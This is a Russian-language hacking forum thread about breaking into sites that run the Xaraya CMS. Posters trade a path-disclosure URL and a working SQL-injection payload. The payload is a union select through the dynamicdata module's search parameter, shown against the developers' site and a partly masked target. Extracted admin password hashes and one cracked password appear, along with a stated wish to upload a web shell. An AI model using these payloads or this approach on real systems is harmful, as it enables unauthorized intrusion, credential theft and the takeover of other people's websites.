Есть ли какие-нибудь работающие эксплоиты под сабж?

Видел всего один раз её. ссылку можешь дать?

вот кагбэ www.site.ru

Ну ты блин меня вчера заморочил)) я до сих пор ковыряю эту еболу)))

http://www.***.ru/base?code=8&exception=At:%20/www/***/www/htdocs/modules/sitecontact/xaruser/main.php%20(Line:%2061)%0AUndefined%20offset:%20%2 00&product=&component=&func=systemexit

Раскрытие путей

/www/***/www/htdocs/modules/sitecontact/xaruser/

ErrorNo: 1062, Messageatabase error while executing: 'INSERT INTO cms_session_info

(xar_sessid, xar_ipaddr, xar_uid, xar_firstused, xar_lastused)

VALUES ('73bc7ffd990ffbea5c638435ebe87a93\'','78.159.99.1 48',2,1280737072,1280737072)'; error description is: 'Duplicate entry '73bc7ffd990ffbea5c638435ebe87a93' for key 1'.

Впринципе еси я прально понимаю, то можно было бы попробовать поменять uid на админа. Но мою ковычу экронирует((

Всё)) есть скуля)) ща буду раскручивать. Кому интересно поделюсь =)

лучше сними видео на конкурс. покажи процесс поиска, интересные моменты.

не видео снимать не буду, у меня просто на работе ща завал, чуть позже выложу всё как и обещал. Главное что это ещё и на сайте разработчиков работает

Сорри что так долго. Короче после ночи просматривания грёбаных исходников и видя как все параметры перед выводом проводятся через функцию проверки... я всё таки нашёл место где параметр пихают не глядя

В модуле dynamicdata (к нему можно обращаться даже если ты не зареган) , при поиске выводится типа превтюхи $data['q'] = isset($q) ? xarVarPrepForDisplay($q) : null;

Собсно пример приведу на сайте разработчиков

http://www.xaraya.com/index.php?module=dynamicdata&func=search&itemtype= 2&q=test'+union+select+1,xar_uname,xar_pass,4+from +xar_roles+where+xar_uid=3+--+&dd_check%5B22%5D=1&dd_check%5B23%5D=1&dd_chec k%5B24%5D=1&dd_check%5B25%5D=1

И видим логин и мд5 пароля

Admin:d5b0db1c94d2d2e23b850792be247c9d

zlo12 Сайт который ты ломал там 4-я ветка и префикс, поэтому зпрос немного другой

http://***.ru/index.php?module=dynamicdata&func=search&itemtype= 2&q=test%27+union+select+1%2Cxar_pass%2Cxar_uname% 2C4+from+cms_roles+where+xar_uid%3D3%2F%2A&dd_chec k%5B22%5D=1&dd_check%5B23%5D=1&dd_check%5B24%5D=1& dd_check%5B25%5D=1

test' union select 1,xar_pass,xar_uname,4 from cms_roles where xar_uid=4/*

И видим хеш

Admin:90116554c7244cc38acef19146ed7ee1

Мне удалось тока один хеш кольнуть и тот не админа.

web:3f230640b78d7e71ac5514e57935eb69:qazxsw

Воопщем доволен как слон , что добил а то уже хотел бросить ковырятся в этом говне)))

Если кольнёте хеши, то я бы судовольствием попробовал бы залить шел и поковыряться.

Собсно всё.